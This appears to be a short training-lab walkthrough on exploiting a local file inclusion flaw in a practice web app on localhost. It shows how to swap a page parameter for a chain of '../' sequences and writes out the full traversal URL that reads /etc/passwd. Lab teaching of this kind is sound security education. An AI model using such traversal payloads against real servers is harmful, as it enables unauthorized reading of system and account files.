# Extracting User Accounts with Local File Inclusion

## Lab 20: Insecure Direct Object References - Extracting User Accounts with Local File Inclusion

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2F3JjdBpeXbtxXJzWshWpG%2Fimage.png?alt=media&#x26;token=ebbf3a14-5feb-44f0-97dc-9f24d219e258" alt=""><figcaption></figcaption></figure>

Go to directory browsing page: [https://127.0.0.1/index.php?page=directory-browsing.php](https://127.0.0.1/index.php?page=directory-browsing.php)

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FzPfZDwHwExCjYCO8iu32%2Fimage.png?alt=media&#x26;token=a9b1a96f-882c-4acd-9b5b-7548daa7e419" alt=""><figcaption></figcaption></figure>

and change the reference value of attribute with: multiple sequence of `../` to go in the previous directory (6 or 7 should be enough) + `/etc/passwd`

[https://127.0.0.1/index.php?page=../../../../../../../etc/passwd](https://127.0.0.1/index.php?page=../../../../../../../etc/passwd)

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FhnXzAkXNcQKspj0Yx70h%2Fimage.png?alt=media&#x26;token=9263ad0c-a357-4245-868d-2395ba24c7b0" alt=""><figcaption></figcaption></figure>
